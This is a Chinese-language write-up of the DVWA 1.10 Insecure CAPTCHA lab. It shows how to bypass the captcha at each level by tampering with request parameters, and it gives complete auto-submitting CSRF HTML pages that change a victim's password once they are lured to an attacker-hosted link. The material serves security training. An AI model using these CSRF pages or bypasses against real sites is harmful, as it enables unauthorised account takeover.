DVWA1.10之不安全的验证码


简介

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是“全自动区分计算机和人类的图灵测试”的简称

reCaptchaGoogle开发的验证码工具,是Google提供的使用最广泛的验证码服务,是一项免费服务,可以保护您的网站免受垃圾邮件和滥用。reCAPTCHA使用先进的风险分析引擎和自适应CAPTCHA来防止自动化软件在您的网站上进行滥用行为

reCAPTCHA验证流程

1.png

网站服务器调用recaptcha_check_answer函数检查用户输入验证码的正确性

1
recaptcha_check_answer($privkey,$response)
  1. $privkey是服务器申请的private key(私钥)

  2. $response:通过页面表单发送的g-recaptcha-response的值

recaptcha_check_answer函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性:

  1. $is_valid是布尔型的,表示校验是否有效

  2. $error是返回的错误代码

2.png

那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码


LOW级别

服务器将改密操作分成了两步:

  1. 检查用户输入的验证码,验证通过后,服务器返回表单

  2. 客户端提交post请求,服务器完成更改密码的操作

这其中存在明显的逻辑漏洞,服务器仅仅通过检查Changestep参数来判断用户是否已经输入了正确的验证码

3.png

因未科学上网,验证码无法显示

修改参数绕过

  1. 抓包修改step参数

    4.png

    因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_fieldrecaptcha_response_field两个参数

    step参数由1修改为2

  2. 密码修改成功

    5.png

构造攻击页面

由于没有任何的防御CSRF机制,我们可以轻易地构造攻击页面

  1. 编写攻击页面xx.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <html>      

    <body onload="document.getElementById('transfer').submit()">

    <div>

    <form method="POST" id="transfer" action="http://172.16.12.93/vulnerabilities/captcha/">

    <input type="hidden" name="password_new" value="password123">

    <input type="hidden" name="password_conf" value="password123">

    <input type="hidden" name="step" value="2">

    <input type="hidden" name="Change" value="Change">

    </form>

    </div>

    </body>

    </html>
  2. 将攻击页面放置到攻击者的公网服务器(此处为192.168.43.132)上

  3. 向被攻击者发送恶意链接

    1
    http://192.168.43.132/xx.html
  4. 被攻击者在登陆DVWA的情况下点击恶意链接,则密码被修改成功

    美中不足的是,被攻击者看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击

    6.png


Medium级别

Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证

修改参数绕过

  1. 抓包修改step参数,增加passed_captcha参数,绕过验证码

    7.png

  2. 密码修改成功

    8.png

构造攻击页面

依然可以进行CSRF攻击

  1. 编写攻击页面cc.html

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <html>      

    <body onload="document.getElementById('transfer').submit()">

    <div>

    <form method="POST" id="transfer" action="http://172.16.12.93/vulnerabilities/captcha/">

    <input type="hidden" name="password_new" value="password123">

    <input type="hidden" name="password_conf" value="password123">

    <input type="hidden" name="passed_captcha" value="true">

    <input type="hidden" name="step" value="2">

    <input type="hidden" name="Change" value="Change">

    </form>

    </div>

    </body>

    </html>
  2. 将攻击页面放置到攻击者的公网服务器(此处为192.168.43.132)上

  3. 向被攻击者发送恶意链接

    1
    http://192.168.43.132/cc.html
  4. 被攻击者在登陆DVWA的情况下点击恶意链接,则密码被修改成功

    不过依然会跳转到更改密码成功的界面

    6.png


High级别

服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是true,或者参数g-recaptcha-response等于hidd3n_valu3并且http包头的User-Agent参数等于reCAPTCHA时,就认为验证码正确

$resp参数不可控

  1. 抓包修改参数

    修改User-Agent值为reCAPTCHA

    添加g-recaptcha-response参数,值为hidd3n_valu3

    9.png

  2. 密码修改成功

    6.png


Impossible级别

Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证

---------------The End---------------
0%